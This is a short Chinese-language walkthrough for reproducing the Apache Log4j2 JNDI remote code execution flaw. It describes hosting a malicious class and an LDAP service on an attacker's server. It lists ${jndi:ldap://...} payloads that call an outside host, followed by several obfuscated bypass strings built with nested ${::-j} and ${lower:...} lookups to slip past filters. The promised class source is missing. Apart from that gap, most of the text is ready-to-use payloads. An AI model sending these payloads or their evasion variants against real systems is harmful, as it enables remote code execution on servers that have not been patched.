Apache-Log4j2复现过程

 

复现过程

首先在攻击者的服务器上搭建两个服务

第一个：服务网站上放恶意的class类。

其中class文件未编译前的内容是如下：

然后第二个：

开启ldap或者rmi等服务（我这里用ldap）

 然后将漏洞请求发过去

${jndi:ldap://ip:port/#Exploit}

${jndi:ldap://1.1.1.1:9999/#Exploit}

Apache Log4j2 远程代码执行漏洞

目标机收到后就会通过我的请求> 调用远程ldap  >   ldap再去请求恶意类  >  恶意类在原路返回到被攻击的机器上。  >   靶机就会执行恶意类中的命令.

我这里弹到的是log平台上

另外经验证，可通过如下方式进行绕过：

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}

${${::-j}ndi:rmi://127.0.0.1:1099/ass}

${jndi:rmi://adsasd.asdasd.asdasd}

${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://adsasd.asdasd.asdasd/poc}